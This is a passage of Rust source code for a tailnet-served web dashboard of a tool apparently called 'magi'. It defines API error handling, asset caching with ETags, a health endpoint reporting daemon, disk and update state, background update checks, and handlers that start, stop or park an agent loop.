1741        .filter_map(|line| line.trim().parse::<Ipv4Addr>().ok())
1742        .find(is_tailnet)
1743        .ok_or_else(|| "`tailscale ip -4` printed no address in 100.64.0.0/10".to_owned())
1744}
1745
1746/// Is this address in the CGNAT block Tailscale hands out from?
1747fn is_tailnet(ip: &Ipv4Addr) -> bool {
1748    let o = ip.octets();
1749    o[0] == 100 && (64..=127).contains(&o[1])
1750}
1751
1752/// What every handler returns. Spelled out because `Result` in this crate is
1753/// `anyhow::Result`, and a handler's error is a status code as much as a
1754/// message.
1755type ApiResult<T> = std::result::Result<T, ApiError>;
1756
1757/// A handler failure, rendered as the `{"error": ".."}` body the UI expects.
1758#[derive(Debug)]
1759struct ApiError {
1760    status: StatusCode,
1761    message: String,
1762}
1763
1764impl ApiError {
1765    /// The client asked for something malformed.
1766    fn bad_request(message: impl Into<String>) -> Self {
1767        Self {
1768            status: StatusCode::BAD_REQUEST,
1769            message: message.into(),
1770        }
1771    }
1772
1773    /// No such run or task.
1774    fn not_found(message: impl Into<String>) -> Self {
1775        Self {
1776            status: StatusCode::NOT_FOUND,
1777            message: message.into(),
1778        }
1779    }
1780
1781    /// Someone else owns the thing the client wants to change.
1782    /// Re-badge an error whose default mapping is wrong for this route.
1783    fn with_status(mut self, status: StatusCode) -> Self {
1784        self.status = status;
1785        self
1786    }
1787
1788    /// A rules violation from a domain type, reported as the caller's fault.
1789    /// `Question::answer` rejects an unoffered choice, and that is a bad
1790    /// request, not a server error.
1791    fn bad_request_from(e: anyhow::Error) -> Self {
1792        Self::bad_request(format!("{e:#}"))
1793    }
1794
1795    fn conflict(message: impl Into<String>) -> Self {
1796        Self {
1797            status: StatusCode::CONFLICT,
1798            message: message.into(),
1799        }
1800    }
1801
1802    /// Our fault, or the disk's.
1803    fn internal(message: impl Into<String>) -> Self {
1804        Self {
1805            status: StatusCode::INTERNAL_SERVER_ERROR,
1806            message: message.into(),
1807        }
1808    }
1809}
1810
1811impl From<anyhow::Error> for ApiError {
1812    /// Errors from `queue` and `run` carry their context chain, and the whole
1813    /// chain goes to the client: "parse /home/x/runs/y/run.json: expected
1814    /// value at line 3" is a message an operator can act on, and there is no
1815    /// secret in a path on a single-user tailnet.
1816    fn from(e: anyhow::Error) -> Self {
1817        Self::internal(format!("{e:#}"))
1818    }
1819}
1820
1821impl IntoResponse for ApiError {
1822    fn into_response(self) -> Response {
1823        let body = serde_json::json!({ "error": self.message });
1824        (self.status, Json(body)).into_response()
1825    }
1826}
1827
1828/// Run a handler's filesystem work off the executor.
1829///
1830/// Every route that touches the disk goes through here rather than each one
1831/// arguing about whether its own read is small enough. Uniform because the
1832/// expensive case is not rare: `run.json` for a finished competition holds
1833/// every judgement, deliberation turn and review round, so listing a few
1834/// hundred runs is megabytes of parsing, and the executor threads doing it are
1835/// the same ones serving the change stream of every other connected phone.
1836async fn blocking<T>(job: impl FnOnce() -> ApiResult<T> + Send + 'static) -> ApiResult<T>
1837where
1838    T: Send + 'static,
1839{
1840    #[cfg(test)]
1841    let job = request_cost::carry(job);
1842    match tokio::task::spawn_blocking(job).await {
1843        Ok(result) => result,
1844        Err(e) => Err(ApiError::internal(format!("filesystem task failed: {e}"))),
1845    }
1846}
1847
1848/// Cache policy for the three compiled-in front-end files.
1849///
1850/// The whole interface is `include_str!`ed into the binary, so its content
1851/// changes only when the binary does - and a phone that keeps a copy is
1852/// welcome to, right up until the deck is replaced. Without a single cache
1853/// header, browsers were free to invent their own policy, and one did:
1854/// yukimemi's phone went on showing "Candidates must be folded before
1855/// deleting. Run `magi fold` first." - a sentence deleted two releases
1856/// earlier - from a run detail served by a deck that no longer contained it.
1857/// The delete button he was told about was right there, and unreachable.
1858///
1859/// `must-revalidate` with an `ETag` keyed on the version: the phone asks
1860/// every time, the answer is a 304 costing one small round trip while the
1861/// deck is unchanged, and the moment it is replaced the tag differs and the
1862/// new interface arrives. Correctness over bytes - this is one file of a few
1863/// tens of kilobytes on a tailnet, and being a version behind is not a
1864/// cosmetic problem when the difference is whether a button exists.
1865const ASSET_CACHE: &str = "no-cache, must-revalidate";
1866
1867/// `ETag` for the compiled-in assets, distinct per build.
1868///
1869/// The version alone would leave a locally built deck - `cargo install
1870/// --path .` twice at the same version, which is the normal way to iterate -
1871/// serving a stale tag for changed bytes. The build timestamp is what makes
1872/// two builds of `0.3.0` differ.
1873fn asset_etag() -> &'static str {
1874    static TAG: std::sync::LazyLock<String> = std::sync::LazyLock::new(|| {
1875        format!(
1876            "\"{}-{}\"",
1877            env!("CARGO_PKG_VERSION"),
1878            // Length is a cheap, deterministic stand-in for a hash: the
1879            // three files are compiled in together, so any edit to any of
1880            // them almost certainly changes the total, and a rebuild is what
1881            // this needs to track rather than every possible byte pattern.
1882            INDEX_HTML.len() + APP_CSS.len() + APP_JS.len()
1883        )
1884    });
1885    &TAG
1886}
1887
1888/// Headers for a compiled-in asset of `mime`.
1889fn asset_headers(mime: &'static str) -> [(header::HeaderName, &'static str); 3] {
1890    [
1891        (header::CONTENT_TYPE, mime),
1892        (header::CACHE_CONTROL, ASSET_CACHE),
1893        (header::ETAG, asset_etag()),
1894    ]
1895}
1896
1897/// Serve a compiled-in asset, answering `304` when the client already has it.
1898///
1899/// axum does not compare `If-None-Match` for us, and a header the server sets
1900/// but never honours is worse than none: the phone revalidates on every load
1901/// and is handed the whole file back each time. Doing the comparison is what
1902/// makes `must-revalidate` cost one small round trip rather than the
1903/// interface.
1904fn asset(headers: &header::HeaderMap, mime: &'static str, body: &'static str) -> Response {
1905    let tag = asset_etag();
1906    let known = headers
1907        .get(header::IF_NONE_MATCH)
1908        .and_then(|v| v.to_str().ok())
1909        // A revalidating client may send several, and a proxy may weaken the
1910        // tag to `W/"..."`; matching on containment covers both without
1911        // parsing the grammar.
1912        .is_some_and(|sent| sent.split(',').any(|one| one.trim().ends_with(tag)));
1913    if known {
1914        return (StatusCode::NOT_MODIFIED, asset_headers(mime)).into_response();
1915    }
1916    (asset_headers(mime), body).into_response()
1917}
1918
1919async fn index(headers: header::HeaderMap) -> Response {
1920    asset(&headers, "text/html; charset=utf-8", INDEX_HTML)
1921}
1922
1923async fn app_css(headers: header::HeaderMap) -> Response {
1924    asset(&headers, "text/css; charset=utf-8", APP_CSS)
1925}
1926
1927async fn app_js(headers: header::HeaderMap) -> Response {
1928    asset(&headers, "text/javascript; charset=utf-8", APP_JS)
1929}
1930
1931/// What `/api/health` answers.
1932#[derive(Debug, Serialize)]
1933struct HealthView {
1934    version: &'static str,
1935    home: String,
1936    queue_rev: u64,
1937    runs_rev: u64,
1938    /// The same revisions [`events`] streams for the question and talk
1939    /// stores.
1940    ///
1941    /// Here because this route is what the front end falls back to when the
1942    /// change stream is not up - it re-polls health on a timer and on wake, and
1943    /// takes the revisions from the answer. Without these the fallback
1944    /// compares `undefined` against `undefined` for both stores, decides
1945    /// nothing moved, and a phone with a dead stream never learns that a
1946    /// question was asked or that a talk took a turn. `queue_rev` and
1947    /// `runs_rev` above have always been here for exactly this reason; the rule
1948    /// is that every revision the stream carries, this route carries too.
1949    questions_rev: u64,
1950    /// See [`HealthView::questions_rev`]. The standing chat's own store.
1951    talks_rev: u64,
1952    /// See [`HealthView::questions_rev`]. The notification centre's store.
1953    notifications_rev: u64,
1954    /// Notifications nobody has read yet: the bell's badge before
1955    /// `/api/notifications` has answered.
1956    notifications_unread: usize,
1957    /// See [`HealthView::questions_rev`]. The loop's counter is the one that
1958    /// is not on disk anywhere, so a phone with no change stream has no other
1959    /// way to notice that the loop it is waiting on was started from another
1960    /// device.
1961    loop_rev: u64,
1962    /// Runs on disk whose state this build cannot parse - almost always a
1963    /// schema bump, occasionally a run killed mid-write.
1964    ///
1965    /// Reported because the list silently skips them, and "no competitions
1966    /// yet" is a lie when six of them are sitting in the runs directory. The
1967    /// terminal deck learned the same lesson: a run that fails to parse must
1968    /// not disappear from the count.
1969    runs_unreadable: usize,
1970    /// The disk, and what the runs and their worktrees occupy on it.
1971    ///
1972    /// This is the incident the janitor exists for: magi alone put 30 GB into
1973    /// one shared cache and 6.7-11 GB into each run's worktrees, and a phone
1974    /// is exactly where the operator learns "the disk is the constraint" -
1975    /// the diagnosis that a run is being held for want of space has to be
1976    /// checkable on the same screen.
1977    disk: DiskView,
1978    /// Questions nobody has answered yet, including ones an owner talked
1979    /// back on and is now waiting for the agent's reply to. A round trip
1980    /// never changes [`crate::ask::QuestionStatus`], so this does not drop
1981    /// while the ball is in the agent's court - see
1982    /// [`crate::ask::Questions::count_open`].
1983    questions_open: usize,
1984    /// Of those, how many actually need the owner right now: open, and not
1985    /// [`crate::ask::Question::waiting_on_agent`].
1986    ///
1987    /// The one number that means "nothing will happen until a human acts" -
1988    /// a parked run consumes nothing and progresses never - and the count the
1989    /// ask bar, the nav badge and the document title fall back to before
1990    /// `/api/questions` has answered, so those notification channels clear
1991    /// the instant the owner asks back and reappear the instant the agent
1992    /// replies, instead of sitting lit for however long the agent thinks.
1993    questions_needs_owner: usize,
1994    daemon: DaemonView,
1995    /// The loop in this process, exactly what `/api/loop` answers with.
1996    ///
1997    /// Here so a phone that has just woken needs one request to know whether
1998    /// anything is going to happen at all: `daemon` says a loop is alive
1999    /// somewhere, and this says whether it is one this UI can stop.
2000    #[serde(rename = "loop")]
2001    looping: LoopView,
2002    /// Whether a release newer than this build is known, and which.
2003    ///
2004    /// From [`updater::Checker::cached_update`] - the same throttled state the
2005    /// CLI's `notify` mode banners from - never a live check: this route is
2006    /// polled every few seconds, and a live check on each poll would spend
2007    /// GitHub's rate limit before the operator finished reading the strip.
2008    update: UpdateView,
2009    /// The self-upgrade this deck last set in motion, or `null` before the
2010    /// first one. Read off disk, so the successor can report what its
2011    /// predecessor started.
2012    upgrade: Option<UpgradeProgressView>,
2013}
2014
2015/// What `/api/health` knows about a release newer than this build.
2016///
2017/// A plain `Option<String>` for `to` could not distinguish "checked, and this
2018/// is already the newest" from "never checked" - both are `None` - and the
2019/// phone needs to tell those apart to decide whether the deck can be trusted
2020/// to have an opinion at all.
2021#[derive(Debug, Serialize)]
2022struct UpdateView {
2023    /// A newer release is known to exist.
2024    available: bool,
2025    /// Its tag, when `available`.
2026    to: Option<String>,
2027}
2028
2029/// [`updater::Progress`] as `/api/health` reports it.
2030#[derive(Debug, Serialize)]
2031struct UpgradeProgressView {
2032    stage: updater::Stage,
2033    from: String,
2034    to: Option<String>,
2035    /// What [`updater::Stage::Parking`] is waiting on, in words: the run and
2036    /// the step it is finishing before the address is handed over.
2037    waiting_on: Option<String>,
2038    started_at: Timestamp,
2039    updated_at: Timestamp,
2040    detail: Option<String>,
2041    /// Seconds the stage has outlived its allowance, when it has - see
2042    /// [`updater::stall`]. `null` while the stage is moving normally.
2043    stuck_for_secs: Option<i64>,
2044    /// Which kind of stuck: `never_entered` (hand_over left no record of
2045    /// starting) or `stopped_beating`. `null` when not stuck.
2046    stuck_kind: Option<updater::StallKind>,
2047    /// `hand_over` is alive and waiting on the loop: however long that takes,
2048    /// it is not an overdue upgrade.
2049    handover_alive: bool,
2050}
2051
2052/// Whether [`run_update_recheck`] may act at all this tick.
2053///
2054/// The same two conditions [`updater::Checker::new`] and
2055/// [`upgrade_post`] already honour: an operator who wrote `[update] mode =
2056/// "off"`, or who set [`updater::NO_AUTOUPDATE_ENV`], means "never contact
2057/// GitHub from this process" - on a button press or on a timer alike.
2058fn should_spawn_recheck(cfg: &Update) -> bool {
2059    cfg.mode != UpdateMode::Off && !updater::disabled_by_env()
2060}
2061
2062/// Whether this tick should actually reach the network, once checking itself
2063/// is allowed.
2064///
2065/// An upgrade already in flight must not be raced by a check that discovers
2066/// a *newer* release while one is still installing - a phone watching
2067/// `/api/health` would see the answer change out from under the upgrade it
2068/// already asked for. Past that, [`updater::Checker::should_check`] is the
2069/// same throttle the CLI's own notify mode and [`cached_update_view`] rely
2070/// on; deferring to it here, rather than to [`run_update_recheck`]'s own
2071/// polling period, is what keeps this task's network use to at most once per
2072/// `[update] interval` regardless of how often it wakes up.
2073fn update_recheck_due(checker: &updater::Checker, progress: Option<&updater::Progress>) -> bool {
2074    if progress.is_some_and(|p| !p.stage.terminal()) {
2075        return false;
2076    }
2077    checker.should_check()
2078}
2079
2080/// How long [`run_update_recheck`] sleeps before its next wake-up.
2081///
2082/// A fraction of the configured `[update] interval` rather than a fixed
2083/// number: a fixed sleep longer than a short custom interval would leave the
2084/// deck waiting on its own wake-up rather than on `should_check`, so an
2085/// operator who set `interval = "1m"` to make the UI catch up quickly would
2086/// not see that take effect until the next restart - exactly the bug this
2087/// task exists to fix, just moved one level down. Scaling with the interval
2088/// keeps the wake-up prompt relative to what was actually configured, while
2089/// [`update_recheck_due`]'s call to [`updater::Checker::should_check`] is
2090/// still what caps the network calls themselves at one per interval,
2091/// regardless of how often this fires.
2092fn recheck_poll_period(cfg: &Update) -> Duration {
2093    (updater::effective_interval(cfg) / 8).clamp(UPDATE_RECHECK_POLL_MIN, UPDATE_RECHECK_POLL_MAX)
2094}
2095
2096/// Keep `/api/health`'s `update` field current for as long as `magi web`
2097/// stays up.
2098///
2099/// The CLI's own `spawn_update_check` (`main.rs`) runs once per invocation,
2100/// which is enough for every other command: they exit in seconds. `magi web`
2101/// can run for days, so a single startup check leaves the cache - and the
2102/// phone's "Update & restart" button, which reads it via
2103/// [`cached_update_view`] - frozen on whatever that one look found, however
2104/// many releases ship afterwards. This is what notices the rest of them,
2105/// re-reading the config each tick so a `magi.toml` edit while the server is
2106/// up takes effect without a restart, the same way every other route here
2107/// already does - both for whether checking is on at all and for how long
2108/// the next sleep should be.
2109///
2110/// Not [`updater::spawn`]'s `auto_update` path, even under `mode =
2111/// "install"`: swapping the running binary out from under a task or a run
2112/// mid-node is exactly what `hand_over`'s parking exists to do deliberately,
2113/// not as a side effect of a timer nobody asked to fire. This only ever
2114/// calls [`updater::Checker::newer_release`], which refreshes
2115/// `last_update_check.json` and nothing else - so under `mode = "install"`
2116/// this behaves like `notify` for as long as the deck stays up, and an
2117/// actual self-install still happens exactly where it always has: once, at
2118/// the next process start.
2119async fn run_update_recheck(repo: PathBuf, home: PathBuf) {
2120    loop {
2121        let (cfg, _) = Config::discover(&repo, None).unwrap_or_default();
2122        tokio::time::sleep(recheck_poll_period(&cfg.update)).await;
2123        if !should_spawn_recheck(&cfg.update) {
2124            continue;
2125        }
2126        let Some(checker) = updater::Checker::new(&cfg.update) else {
2127            continue;
2128        };
2129        let progress = updater::read_progress(&home);
2130        if !update_recheck_due(&checker, progress.as_ref()) {
2131            continue;
2132        }
2133        if let Err(e) = checker.newer_release().await {
2134            tracing::warn!("background update recheck failed: {e:#}");
2135        }
2136    }
2137}
2138
2139/// [`UpdateView`] from the same throttled, disk-only state
2140/// [`crate::updater::Checker::cached_update`] gives the CLI's `notify` mode -
2141/// never a live check. `[update] mode = "off"` answers "unknown" the same as
2142/// no cached state at all, which is correct: an operator who turned checking
2143/// off gets no opinion, not a stale one.
2144fn cached_update_view(cfg: Option<&Config>) -> UpdateView {
2145    let default;
2146    let cfg = match cfg {
2147        Some(cfg) => cfg,
2148        None => {
2149            default = Config::default();
2150            &default
2151        }
2152    };
2153    let latest = updater::Checker::new(&cfg.update).and_then(|c| c.cached_update());
2154    match latest {
2155        Some(latest) => UpdateView {
2156            available: true,
2157            to: Some(latest.tag_name),
2158        },
2159        None => UpdateView {
2160            available: false,
2161            to: None,
2162        },
2163    }
2164}
2165
2166/// [`updater::Progress`] as `/api/health` reports it, filling in `waiting_on`
2167/// from the parked run's own state when the stage is
2168/// [`updater::Stage::Parking`] - the run and the node it is finishing are
2169/// already on disk in `run.json`, so this reads them fresh rather than
2170/// trusting whatever was true the moment the park was requested.
2171fn upgrade_progress_view(ui: &Ui, progress: updater::Progress) -> UpgradeProgressView {
2172    let now = Timestamp::now();
2173    let lease = updater::read_lease(&ui.home);
2174    let alive = updater::live_lease(&progress, lease.as_ref(), now);
2175    let run_id = alive
2176        .and_then(|l| l.parked_run.as_deref())
2177        .or(progress.parked_run.as_deref());
2178    let parking = progress.stage == updater::Stage::Parking;
2179    let waited = alive.map_or_else(String::new, |l| {
2180        let secs = updater::waited_secs(l, now);
2181        format!(" (waited {} min so far)", secs / 60)
2182    });
2183    let run_text = run_id
2184        .filter(|_| parking)
2185        .map(|id| match read_run(&ui.runs, id).ok() {
2186            Some(run) => format!("run {} is finishing {}", run.short(), run.status.as_str()),
2187            None => format!("run {id} is finishing"),
2188        });
2189    let talks_text = Some(updater::talks_phrase(&progress.parked_talks))
2190        .filter(|t| parking && !t.is_empty())
2191        .map(|t| format!("{t} finishing"));
2192    let waiting_on = match (run_text, talks_text) {
2193        (None, None) => None,
2194        (run, talks) => {
2195            let parts: Vec<String> = [run, talks].into_iter().flatten().collect();
2196            Some(format!(
2197                "{} before the address is handed over{waited}",
2198                parts.join(" and ")
2199            ))
2200        }
2201    };
2202    let detail = progress
2203        .detail
2204        .clone()
2205        .or_else(|| updater::read_note(&ui.home, &progress));
2206    let stalled = updater::stall(&progress, lease.as_ref(), now);
2207    let waiting_on = waiting_on.or_else(|| stalled.as_ref().map(|s| s.waiting_on.clone()));
2208    UpgradeProgressView {
2209        stuck_for_secs: stalled.as_ref().map(|s| s.age_secs),
2210        stuck_kind: stalled.map(|s| s.kind),
2211        handover_alive: alive.is_some(),
2212        stage: progress.stage,
2213        from: progress.from,
2214        to: progress.to,
2215        waiting_on,
2216        started_at: progress.started_at,
2217        updated_at: progress.updated_at,
2218        detail,
2219    }
2220}
2221
2222/// The disk figures `/api/health` carries. Every number is produced by
2223/// [`crate::disk`], the same code that decides a run may not start, so the
2224/// health screen and the gate cannot disagree about what the machine looks
2225/// like.
2226#[derive(Debug, Serialize)]
2227struct DiskView {
2228    /// Free bytes on the volume holding the runs, when measurable.
2229    #[serde(skip_serializing_if = "Option::is_none")]
2230    free_bytes: Option<u64>,
2231    /// Everything the runs directory occupies, unreadable runs included.
2232    runs_bytes: u64,
2233    /// Everything the runs' worktrees occupy.
2234    worktrees_bytes: u64,
2235    /// The shared build cache's size, when the config names one.
2236    #[serde(skip_serializing_if = "Option::is_none")]
2237    cache_bytes: Option<u64>,
2238}
2239
2240impl DiskView {
2241    /// Measure the three directories and re-read the config's cache.
2242    fn of(ui: &Ui, cfg: Option<&Config>) -> Self {
2243        let cache_bytes = cfg
2244            .and_then(|cfg| cfg.cache_dir())
2245            .map(|dir| crate::disk::dir_size(&dir));
2246        Self {
2247            free_bytes: crate::disk::free_bytes(&ui.runs).ok(),
2248            runs_bytes: crate::disk::dir_size(&ui.runs),
2249            worktrees_bytes: crate::disk::dir_size(&ui.worktrees_root),
2250            cache_bytes,
2251        }
2252    }
2253}
2254
2255/// The daemon's state as the UI presents it.
2256#[derive(Debug, Serialize)]
2257struct DaemonView {
2258    running: bool,
2259    idle: Option<bool>,
2260    pid: Option<u32>,
2261    /// Every task and run currently in flight. Empty when idle; more than
2262    /// one entry when `Config::daemon.max_concurrent_runs` has more than one
2263    /// run going at once.
2264    current: Vec<daemon::Current>,
2265    completed: Option<u64>,
2266    stale_for_secs: Option<i64>,
2267}
2268
2269impl DaemonView {
2270    /// Judge a status file. Staleness is [`daemon::Reading::running`]'s call,
2271    /// not this UI's — a crashed daemon must not look alive here while
2272    /// `doctor` calls it dead.
2273    fn of(status: Option<daemon::Reading>) -> Self {
2274        let Some(status) = status else {
2275            return Self {
2276                running: false,
2277                idle: None,
2278                pid: None,
2279                current: Vec::new(),
2280                completed: None,
2281                stale_for_secs: None,
2282            };
2283        };
2284        let now = Timestamp::now();
2285        let age = status.age_secs(now);
2286        Self {
2287            running: status.running(now),
2288            idle: Some(status.idle),
2289            pid: status.pid,
2290            current: status.current,
2291            completed: Some(status.completed),
2292            stale_for_secs: age,
2293        }
2294    }
2295}
2296
2297async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
2298    blocking(move || {
2299        // One read of the status file for the two fields that describe it, so
2300        // `daemon` and `loop` in the same answer cannot disagree about who is
2301        // running the loop.
2302        let reading = daemon::read_status(&ui.home);
2303        // Read on its own line, not inside the literal below: the loop's lock
2304        // is not reentrant, and a guard taken as a temporary there would still
2305        // be held when `loop_view` took it again.
2306        let loop_rev = ui.lock_loop().rev;
2307        // One discover for both views: each is a few git processes plus a
2308        // config render, and neither depends on anything the other reads.
2309        let cfg = deputy_config(&ui.repo);
2310        let update = cached_update_view(cfg.as_ref());
2311        let upgrade = updater::read_progress(&ui.home).map(|p| upgrade_progress_view(&ui, p));
2312        Ok(Json(HealthView {
2313            version: env!("CARGO_PKG_VERSION"),
2314            home: ui.home.display().to_string(),
2315            queue_rev: stamps_revision(&store_stamps(ui.queue.root(), false)),
2316            runs_rev: runs_revision(&ui.runs),
2317            questions_rev: ui.questions.revision(),
2318            talks_rev: stamps_revision(&store_stamps(ui.talks.root(), false)),
2319            notifications_rev: ui.notices.revision(),
2320            notifications_unread: ui.notices.count_unread(),
2321            loop_rev,
2322            runs_unreadable: runs_unreadable(&ui.runs),
2323            questions_open: ui.questions.count_open(),
2324            questions_needs_owner: ui.questions.count_needs_owner(),
2325            daemon: DaemonView::of(reading.clone()),
2326            looping: ui.loop_view(reading),
2327            disk: DiskView::of(&ui, cfg.as_ref()),
2328            update,
2329            upgrade,
2330        }))
2331    })
2332    .await
2333}
2334
2335/// What `/api/loop` answers, and what `/api/health` carries as `loop`.
2336#[derive(Debug, Serialize)]
2337struct LoopView {
2338    /// A loop is running in *this* process.
2339    running: bool,
2340    /// It has been asked to stop and is still finishing a run.
2341    ///
2342    /// [`daemon::Stop::finishing`]'s answer rather than "the flag is set",
2343    /// because the two differ exactly where it matters: a loop asked to stop
2344    /// while idle is gone within one poll interval, and one asked to stop
2345    /// mid-run keeps going for as long as the graph takes. The operator needs
2346    /// to be told which of those they are waiting for.
2347    stopping: bool,
2348    /// A park was asked for: the run in flight stops at its next node
2349    /// boundary rather than finishing.
2350    ///
2351    /// Separate from `stopping` because the two promise different waits. A
2352    /// stop is "when this competition ends", which can be an hour; a park is
2353    /// "after the step it is on", which is minutes and is what an operator
2354    /// waiting to replace the binary needs to see.
2355    parking: bool,
2356    /// The loop is this process's own.
2357    ///
2358    /// Spelled separately from `running` for the front end's sake, even
2359    /// though inside this process the two move together: `running: false`
2360    /// with `daemon.running: true` is the case where the operator's own `magi
2361    /// serve` owns the loop, and `owned` is the field that tells the UI its
2362    /// buttons have to explain that rather than pretend.
2363    owned: bool,
2364    /// Repository the loop uses for tasks that name none - what it was
2365    /// started with while it runs, and what a start would use before that.
2366    repo: String,
2367    /// Merge mode override in force, or `null` when each repository's own
2368    /// config decides.
2369    merge: Option<String>,
2370    /// Why the last loop in this process ended, when it ended badly.
2371    ///
2372    /// The only place a crashed loop is visible to someone holding a phone.
2373    /// It is logged at error level as well, but a terminal nobody kept open
2374    /// is not a report, and a loop that died at 3am must not read as merely
2375    /// stopped in the morning. Named as [`Task::last_error`] is, because it
2376    /// answers the same question about the same kind of failure.
2377    last_error: Option<String>,
2378    /// The status file, judged the same way `/api/health` judges it: this is
2379    /// what says whether a loop is alive in some *other* process.
2380    daemon: DaemonView,
2381}
2382
2383/// A loop another process already owns.
2384///
2385/// `<home>/daemon.json` is the only cross-process signal there is, so this is
2386/// the whole of the test: a heartbeat no older than [`daemon::STALE_SECS`],
2387/// published by a pid that is not ours. Excluding our own pid is what makes
2388/// stopping work at all - the loop this process runs writes that file too, so
2389/// a check that ignored the pid would decide the operator's own UI was a
2390/// stranger and refuse to stop the loop it had just started.
2391#[derive(Debug, Clone, Copy)]
2392struct Foreign {
2393    /// The pid the other process published, when it published one.
2394    pid: Option<u32>,
2395}
2396
2397impl Foreign {
2398    /// Another process's live loop, or `None` when this process is free to
2399    /// run one.
2400    fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
2401        // A fresh heartbeat with no pid in it is still evidence of a live
2402        // daemon. "Some other process" is the honest answer, and refusing
2403        // to start beside it is the safe one.
2404        daemon::foreign_loop(reading, Timestamp::now(), std::process::id()).map(|pid| Self { pid })
2405    }
2406
2407    /// How a conflict names it. The pid is the whole point of the message: it
2408    /// is what the operator needs to find the terminal that owns the loop.
2409    fn who(&self) -> String {
2410        match self.pid {
2411            Some(pid) => format!("another magi process (pid {pid})"),
2412            None => "another magi process".to_owned(),
2413        }
2414    }
2415}
2416
2417/// How a loop is started, as a future this module can hold onto.
2418///
2419/// A plain function pointer, so [`Ui`] stays `Debug` and `Clone` without a
2420/// trait object or a hand-written `Debug` impl for the sake of one seam.
2421type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
2422
2423/// The real loop: [`daemon::serve_until`], boxed to fit [`Launch`].
2424fn launch_daemon(
2425    opts: daemon::Opts,
2426    stop: daemon::Stop,
2427) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
2428    Box::pin(daemon::serve_until(opts, stop))
2429}
2430
2431/// The loop this process runs, behind one lock.
2432#[derive(Debug, Default)]
2433struct LoopState {
2434    /// The loop, while there is one.
2435    live: Option<Live>,
2436    /// Bumped on every change to this struct, and streamed as `loop_rev`.
2437    ///
2438    /// The loop is in-process state rather than a file, so nothing on disk
2439    /// would tell a second phone that the first one started it. Without this
2440    /// counter the only way to learn about a start, a stop request or a crash
2441    /// would be to poll `/api/loop`, which is the thing the change stream
2442    /// exists to avoid on a mobile link.
2443    rev: u64,
2444    /// Why the last loop ended, when it ended badly. See
2445    /// [`LoopView::last_error`].
2446    last_error: Option<String>,
2447    /// The loop was running (and not already stopping) when the last upgrade
2448    /// parked it, so the successor should start one. Set afresh by every
2449    /// [`Ui::park_for_upgrade`], cleared by an explicit stop and by a failed
2450    /// update.
2451    resume_after_handover: bool,
2452}
2453
2454/// A loop in flight.
2455#[derive(Debug)]
2456struct Live {
2457    /// The cooperative stop, shared with the loop task.
2458    stop: daemon::Stop,
2459    /// The task itself, kept only to answer whether it is still there: a loop
2460    /// that panicked never records its own end, and without this the view
2461    /// would go on reporting a loop that no longer exists - the one lie that
2462    /// would leave the operator with no button to press.
2463    handle: tokio::task::JoinHandle<()>,
2464    /// What the loop was started with, so the view reports the repository and
2465    /// merge mode its runs will actually use rather than what an edit to the
2466    /// config since would give.
2467    opts: daemon::Opts,
2468}
2469
2470impl Live {
2471    /// Is the task still there? See [`Live::handle`].
2472    fn alive(&self) -> bool {
2473        !self.handle.is_finished()
2474    }
2475}
2476
2477/// Take the loop lock, recovering from a poisoned one.
2478///
2479/// What this mutex holds is a stop flag, a task handle and two counters, none
2480/// of which a panic elsewhere can leave in a state worth refusing to read.
2481/// Propagating the poison instead would mean an operator who can see the loop
2482/// running and can no longer stop it from the only surface they have.
2483fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
2484    state.lock().unwrap_or_else(PoisonError::into_inner)
2485}
2486
2487/// `GET /api/loop`.
2488async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
2489    blocking(move || {
2490        let reading = daemon::read_status(&ui.home);
2491        Ok(Json(ui.loop_view(reading)))
2492    })
2493    .await
2494}
2495
2496/// The body of `POST /api/loop`.
2497///
2498/// One required field and nothing else: no `default` and no unknown fields,
2499/// so a body that fails to say which way the switch was flipped is a 400
2500/// rather than a tap that quietly does the opposite of what was pressed.
2501#[derive(Debug, Deserialize)]
2502#[serde(deny_unknown_fields)]
2503struct LoopCommand {
2504    running: bool,
2505    /// Stop the run in flight at its next node boundary rather than letting it
2506    /// finish.
2507    ///
2508    /// Defaults to false, so the plain stop keeps meaning what it meant: a
2509    /// competition is tens of minutes of paid work and finishing it is
2510    /// normally the cheapest thing to do. A park is for the operator who
2511    /// wants the process gone now - to replace the binary, most of all - and
2512    /// it costs at most the node in progress because every node writes its
2513    /// state before the next one starts.
2514    #[serde(default)]
2515    park: bool,
2516}
2517
2518/// `POST /api/loop` - start the loop in this process, or ask it to stop.
2519///
2520/// Answers with the view rather than waiting for the loop to reach the state
2521/// that was asked for. Starting is immediate anyway; stopping is not, and the
2522/// wait is a run's worth of minutes, which is not a thing to hold a phone's
2523/// request open for. `stopping` in the answer is what the operator watches
2524/// instead.
2525async fn loop_post(
2526    State(ui): State<Arc<Ui>>,
2527    body: std::result::Result<Json<LoopCommand>, JsonRejection>,
2528) -> ApiResult<Json<LoopView>> {
2529    // Taken as a `Result` so a malformed body is a 400 like every other route
2530    // here, rather than axum's default 422 that the UI has no branch for.
2531    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2532    blocking(move || {
2533        let reading = daemon::read_status(&ui.home);
2534        let foreign = Foreign::of(reading.as_ref());
2535        if body.running {
2536            ui.start_loop(foreign)?;
2537        } else {
2538            ui.stop_loop(foreign, body.park)?;
2539        }
2540        Ok(Json(ui.loop_view(reading)))
2541    })
2542    .await
2543}
2544
2545/// What `POST /api/upgrade` set in motion.
2546#[derive(Debug, Serialize)]
2547struct UpgradeView {
2548    /// The version this process is running.
2549    from: String,
2550    /// The release it is replacing itself with, when there is one.
2551    to: Option<String>,
2552    /// A run was parked first, and this is its id.
2553    parked: Option<String>,
2554    /// What the operator should expect to happen next.
2555    detail: String,
2556}
2557
2558/// The stage of an upgrade that is still moving, if the record says so.
2559/// Mirrors `UPGRADE_BUSY_STAGES` in `assets/ui/app.js`.
2560fn upgrade_in_motion(progress: Option<&updater::Progress>) -> Option<&updater::Progress> {
2561    progress.filter(|p| !p.stage.terminal())
2562}
2563
2564/// `POST /api/upgrade` - replace this binary with the newest release and come
2565/// back on it.
2566///
2567/// The one thing the deck could not do for itself. Every fix landed today
2568/// either waited for a competition to end or went in with the deck stopped,
2569/// because `cargo install` cannot overwrite a running executable on Windows.
